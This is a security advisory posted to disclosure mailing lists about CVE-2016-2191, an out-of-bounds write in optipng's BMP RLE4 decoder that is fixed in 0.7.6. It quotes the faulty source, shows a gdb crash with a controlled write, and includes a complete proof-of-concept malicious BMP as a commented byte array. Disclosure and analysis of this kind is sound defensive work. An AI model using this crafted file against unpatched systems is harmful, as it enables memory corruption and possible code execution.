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Date: Mon, 04 Apr 2016 23:33:09 +0700
From: Hans Jerry Illikainen <hji@...topia.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Subject: CVE-2016-2191: optipng: invalid write

An invalid write may occur in optipng before version 0.7.6 while
processing bitmap images due to `crt_row' being (inc|dec)remented
without any boundary checking when encountering delta escapes.

optipng-0.7.5/src/pngxtern/pngxrbmp.c:
,----
| 210 static size_t
| 211 bmp_read_rows(png_bytepp begin_row, png_bytepp end_row, size_t row_size,
| 212               unsigned int compression, FILE *stream)
| 213 {
| ...
| 272       crt_row = begin_row;
| 273       for ( ; ; )
| 274       {
| 275          ch = getc(stream); b1 = (unsigned int)ch;
| 276          ch = getc(stream); b2 = (unsigned int)ch;
| 277          if (ch == EOF)
| 278             break;
| 279          if (b1 == 0)  /* escape */
| 280          {
| ...
| 307             else if (b2 == 2)  /* delta */
| 308             {
| 309                ch = getc(stream); b1 = (unsigned int)ch;  /* horiz. offset */
| 310                ch = getc(stream); b2 = (unsigned int)ch;  /* vert. offset */
| ...
| 314                if (b2 > (size_t)((end_row - crt_row) * inc))
| 315                   b2 = (unsigned int)((end_row - crt_row) * inc);
| 316                for ( ; b2 > 0; --b2)
| 317                {
| ...
| 319                   crt_row += inc;
| ...
| 322                }
| ...
| 324             }
| 325             else  /* b2 >= 3 bytes in absolute mode */
| 326             {
| 327                len = (b2 <= endn - crtn) ? b2 : (unsigned int)(endn - crtn);
| 328                if (bmp_fread_fn(*crt_row, crtn, len, stream) != len)
| 329                   break;
| 330                crtn += len;
| 331             }
| 332          }
| ...
| 352 }
`----

After `crt_row' has moved OOB, an invalid write may be triggered with
`bmp_fread_fn()' in absolute mode:

,----
| $ gdb --args optipng oob.bmp
| (gdb) r
|  ** Processing: oob.bmp
| 
| Program received signal SIGSEGV, Segmentation fault.
| __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96
| 96  ../sysdeps/x86_64/multiarch/../memcpy.S: No such file or directory.
| 
| (gdb) bt
| #0  __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96
| #1  0x00007ffff7a89003 in __GI__IO_file_xsgetn (fp=0x64a010, data=<optimized out>, n=4) at fileops.c:1371
| #2  0x00007ffff7a7e5f0 in __GI__IO_fread (buf=<optimized out>, size=1, count=4, fp=0x64a010) at iofread.c:42
| #3  0x000000000040b632 in bmp_rle4_fread (ptr=0x4141 <error: Cannot access memory at address 0x4141>, offset=0, len=8, stream=0x64a010) at pngxrbmp.c:170
| #4  0x000000000040baf6 in bmp_read_rows (begin_row=0x64e668, end_row=0x64a538, row_size=4, compression=2, stream=0x64a010) at pngxrbmp.c:328
| #5  0x000000000040cb0e in pngx_read_bmp (png_ptr=0x64a240, info_ptr=0x64a4b0, stream=0x64a010) at pngxrbmp.c:724
| #6  0x000000000040b352 in pngx_read_image (png_ptr=0x64a240, info_ptr=0x64a4b0, fmt_name_ptr=0x7fffffffbf10, fmt_long_name_ptr=0x0) at pngxread.c:130
| #7  0x00000000004043cc in opng_read_file (infile=0x64a010) at optim.c:939
| #8  0x000000000040586a in opng_optimize_impl (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1503
| #9  0x0000000000406749 in opng_optimize (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1853
| #10 0x0000000000402bf0 in process_files (argc=2, argv=0x7fffffffe638) at optipng.c:941
| #11 0x0000000000402cb5 in main (argc=2, argv=0x7fffffffe638) at optipng.c:975
| 
| (gdb) x/i $rip
| => 0x7ffff7aa3427 <__memcpy_sse2+55 at ../sysdeps/x86_64/multiarch/../memcpy.S:96>: mov    %ecx,(%rdi)
| (gdb) p/x $ecx
| $1 = 0x11223344
| (gdb) p/x $rdi
| $2 = 0x4141
| (gdb)
`----


oob.bmp
=======

,----
| unsigned char bmp[] = {
|     /* bmp header */
|     0x42, 0x4d,             /* BM */
|     0x00, 0x00, 0x00, 0x00, /* bmp size */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00,             /* reserved */
|     0x7a, 0x00, 0x00, 0x00, /* offset */
| 
|     /* dib header */
|     0x6c, 0x00, 0x00, 0x00, /* header_size (BITMAPV4HEADER) */
|     0x01, 0x00, 0x00, 0x00, /* width */
|     0x26, 0x08, 0x00, 0x00, /* height */
|     0x01, 0x00,             /* color planes */
|     0x04, 0x00,             /* bits per pixel */
|     0x02, 0x00, 0x00, 0x00, /* compression (RLE4) */
|     0x00, 0x00, 0x00, 0x00, /* size of bitmap */
|     0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
|     0x00, 0x00, 0x00, 0x00, /* vertical resolution */
|     0x01, 0x00, 0x00, 0x00, /* number of colors */
|     0x00, 0x00, 0x00, 0x00, /* number of important colors */
|     0x00, 0x00, 0x00, 0x00, /* red mask */
|     0x00, 0x00, 0x00, 0x00, /* green mask */
|     0x00, 0x00, 0x00, 0x00, /* blue mask */
|     0x00, 0x00, 0x00, 0x00, /* alpha mask */
|     0x00, 0x00, 0x00, 0x00, /* color space type */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* red gamma */
|     0x00, 0x00, 0x00, 0x00, /* green gamma */
|     0x00, 0x00, 0x00, 0x00, /* blue gamma */
| 
|     /*
|      * delta escape (0x00, 0x02), b1, b2
|      *
|      * The number of delta escapes required for crt_row to be moved
|      * beyond its allocated chunk depends on the image height.
|      *
|      * b1 is relevant in the last escape if the value at *crt_row is a
|      * non-writable address due to:
|      *
|      * dcrtn = (b1 < endn - crtn) ? (crtn + b1) : endn;
|      * [...]
|      * for ( ; b2 > 0; --b2)
|      * {
|      *     [...]
|      *     crt_row += inc;
|      *     crtn = 0
|      *     [...]
|      * }
|      * bmp_memset_fn(*crt_row, crtn, 0, dcrtn - crtn);
|      *
|      * For RLE4-encoded data, bmp_rle4_memset() bails if dcrtn - crtn == 0
|      */
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x11, 0xff,
|     0x00, 0x02, 0x00, 0xff,
| 
|     /*
|      * absolute mode (0x00, 0x03..0xff) followed by the value that's
|      * bmp_fread_fn() to *crt_row
|      */
|     0x00, 0xff, 0x44, 0x33, 0x22, 0x11
| };
`----


Solution
========

This issue has been assigned CVE-2016-2191 and is fixed in optipng
0.7.6.


-- 
Hans Jerry Illikainen

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